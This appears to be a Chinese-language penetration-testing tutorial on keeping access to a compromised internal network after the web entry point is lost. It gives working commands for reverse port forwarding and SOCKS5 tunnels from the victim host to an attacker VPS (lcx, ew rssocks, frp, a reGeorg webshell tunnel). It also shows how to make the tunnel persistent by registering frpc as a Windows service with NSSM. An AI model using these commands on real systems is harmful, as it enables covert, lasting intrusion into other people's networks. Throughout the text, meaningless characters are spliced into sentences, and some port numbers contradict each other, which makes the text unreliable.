前言
最近參與內(nèi)網(wǎng)滲透比較多沼溜,認(rèn)知到自己在會(huì)話(huà)維持上過(guò)于依賴(lài)web服務(wù),web服務(wù)一旦關(guān)閉游添,便失去了唯一的入口點(diǎn)系草。
本次以遠(yuǎn)程桌面連接來(lái)進(jìn)行說(shuō)明,介紹幾種常用的連接方式唆涝。
本次目標(biāo)主機(jī)ip為:172.16.86.153
msf反彈木馬
使用條件:服務(wù)器通外網(wǎng)找都,擁有自己的公網(wǎng)ip
msf是我進(jìn)行內(nèi)網(wǎng)滲透中用的最多的工具,它內(nèi)置了很多強(qiáng)大的功能廊酣,用起來(lái)相當(dāng)方便能耻。
msf的meterpreter內(nèi)置了端口轉(zhuǎn)發(fā)功能,可以把內(nèi)網(wǎng)的端口轉(zhuǎn)發(fā)到本地亡驰。
portfwd add -l 5555 -p 3389 -r 172.16.86.153
轉(zhuǎn)發(fā)目標(biāo)主機(jī)的3389遠(yuǎn)程桌面服務(wù)端口到本地的8888晓猛,使用linux中的rdesktop連接本地的8888端口。
rdesktop 127.1.1.0:8888
msf內(nèi)置了socks模塊凡辱,在session但基礎(chǔ)上配置路由戒职,調(diào)用即可使用,但是速度和穩(wěn)定性都很差透乾,不做詳細(xì)介紹洪燥。
lcx.exe
使用條件:服務(wù)器通外網(wǎng),擁有自己的公網(wǎng)ip
lcx是一個(gè)經(jīng)典的端口轉(zhuǎn)發(fā)工具乳乌,直接把3389轉(zhuǎn)發(fā)到公網(wǎng)的vps上捧韵。
通過(guò)大馬上傳lcx.exe,執(zhí)行系統(tǒng)命令,其中1.1.1.1是vps的公網(wǎng)ip汉操。
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389
因?yàn)槲夜W(wǎng)vps使用的是linux的系統(tǒng)纫版,lcx對(duì)應(yīng)linux的工具為portmap 。
p1為監(jiān)聽(tīng)的端口客情,p2為轉(zhuǎn)發(fā)到的端口其弊。
./portmap -m 2 -p1 9999 -p2 33889
成功監(jiān)聽(tīng)到轉(zhuǎn)發(fā)出的3389端口。
直接使用遠(yuǎn)程桌面服務(wù)連接1.1.1.1:33889
基于web服務(wù)的socks5隧道
基于web服務(wù)的socks5隧道的優(yōu)點(diǎn)是膀斋,在內(nèi)網(wǎng)服務(wù)器不通外網(wǎng)的情況下也能正常使用梭伐。
常用的工具有:reGeorg,reDuh仰担,Tunna和Proxifier糊识。
本次只介紹reGeorg的具體用法。
選擇對(duì)應(yīng)腳本的tunnel上傳到服務(wù)器摔蓝。
訪(fǎng)問(wèn)上傳文件赂苗,顯示如下表示成功。
在reGeorg文件夾下執(zhí)行reGeorgSocksProxy.py贮尉,-p為指定隧道的端口拌滋,-u為剛剛上傳的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打開(kāi)Proxifier猜谚,更改為腳本指定的端口败砂。
本地電腦成功通過(guò)socks5帶進(jìn)了目標(biāo)主機(jī)的內(nèi)網(wǎng)。(若失敗魏铅,可能是某些防護(hù)檢測(cè)到了異常流量昌犹,可采用reDuh)
本地電腦直接遠(yuǎn)程連接目標(biāo)主機(jī)的內(nèi)網(wǎng)ip。
冰蝎自帶的socks代理原理相同览芳,也是基于web服務(wù)的斜姥。
使用ew搭建socks5隧道
使用條件:目標(biāo)主機(jī)通外網(wǎng),擁有自己的公網(wǎng)ip
選擇對(duì)應(yīng)主機(jī)操作系統(tǒng)的執(zhí)行文件沧竟。
目標(biāo)主機(jī)為windows系統(tǒng)铸敏,選擇上傳ew_for_Win.exe文件。
公網(wǎng)vps使用ew_for_linux64文件屯仗。
首先在公網(wǎng)vps上執(zhí)行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
-l為Proxifier連接的端口搞坝,-e為目標(biāo)主機(jī)和vps的通信端口。
然后在目標(biāo)主機(jī)中執(zhí)行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功魁袜,成功把自己的主機(jī)帶進(jìn)目標(biāo)內(nèi)網(wǎng)桩撮。
使用Proxifier,配置ip和連接端口峰弹。
連接遠(yuǎn)程桌面成功店量。
frp
傳送門(mén)
使用條件:目標(biāo)主機(jī)通外網(wǎng),擁有自己的公網(wǎng)ip
首先需要在公網(wǎng)服務(wù)器搭建服務(wù)端鞠呈,搭建方法參考:傳送門(mén)
要注意的是融师,客戶(hù)端和服務(wù)端的版本號(hào)要一致,否則無(wú)法正常使用蚁吝。
對(duì)frpc.ini進(jìn)行配置旱爆,為了保證搭建的隧道不對(duì)他人惡意利用舀射,加入賬戶(hù)密碼進(jìn)行驗(yàn)證。
[socks5_proxy]
type = tcp
remote_port = 11000
plugin = socks5
plugin_user = xxx
plugin_passwd = xxx
上傳frpc.exe和frpc.ini到目標(biāo)服務(wù)器上,直接運(yùn)行frpc.exe(在實(shí)戰(zhàn)中可能會(huì)提示找不到配置文件怀伦,需要使用-c參數(shù)指定配置文件的路徑frpc.exe -c 文件路徑)
公網(wǎng)vps主機(jī)上運(yùn)行frps脆烟。
配置Proxifier的ip和連接端口,輸入設(shè)置的賬戶(hù)密碼房待。
隧道建立成功邢羔,連接遠(yuǎn)程桌面。
對(duì)于多臺(tái)目標(biāo)主機(jī)同時(shí)搭建多條socks5隧道桑孩,需要更改frpc.ini中配置的名稱(chēng)和端口號(hào)拜鹤,在重復(fù)的情況下會(huì)提示端口占用。
滲透結(jié)束后記得把frpc的進(jìn)程殺死流椒,不然會(huì)一直和frps建立連接敏簿。
tasklist
taskkill /pid 進(jìn)程號(hào) -t -f
類(lèi)似的工具還有:sSocks,Termite等镣隶,不需要每種都掌握极谊,有自己用的順手的就行。
后門(mén)持久化
一般在網(wǎng)站服務(wù)的web服務(wù)關(guān)閉后安岂,服務(wù)器重啟后轻猖,大部門(mén)后門(mén)都會(huì)失效,這時(shí)需要用到系統(tǒng)服務(wù)封裝工具域那。
以NSSM來(lái)進(jìn)行示例咙边,封裝frpc為系統(tǒng)服務(wù),建立持久的socks5隧道次员。
啟動(dòng)nssm圖形化界面败许。
nssm install name
選擇想要組冊(cè)服務(wù)的exe應(yīng)用。
設(shè)置服務(wù)的名字淑蔚。直接點(diǎn)擊install service市殷,如下表示注冊(cè)服務(wù)成功。
查看本地服務(wù)刹衫。
狀態(tài)設(shè)置為啟動(dòng)醋寝,重啟電腦進(jìn)行測(cè)試,重啟后frpc.exe自動(dòng)運(yùn)行带迟,成功和frps連接音羞。
刪除服務(wù)。
nssm remove <servicename>
總結(jié)
本次列舉了一些常用的工具仓犬,還有很多工具沒(méi)有列舉到嗅绰,
功能原理都是大同小異,有那么幾個(gè)用的順手就好。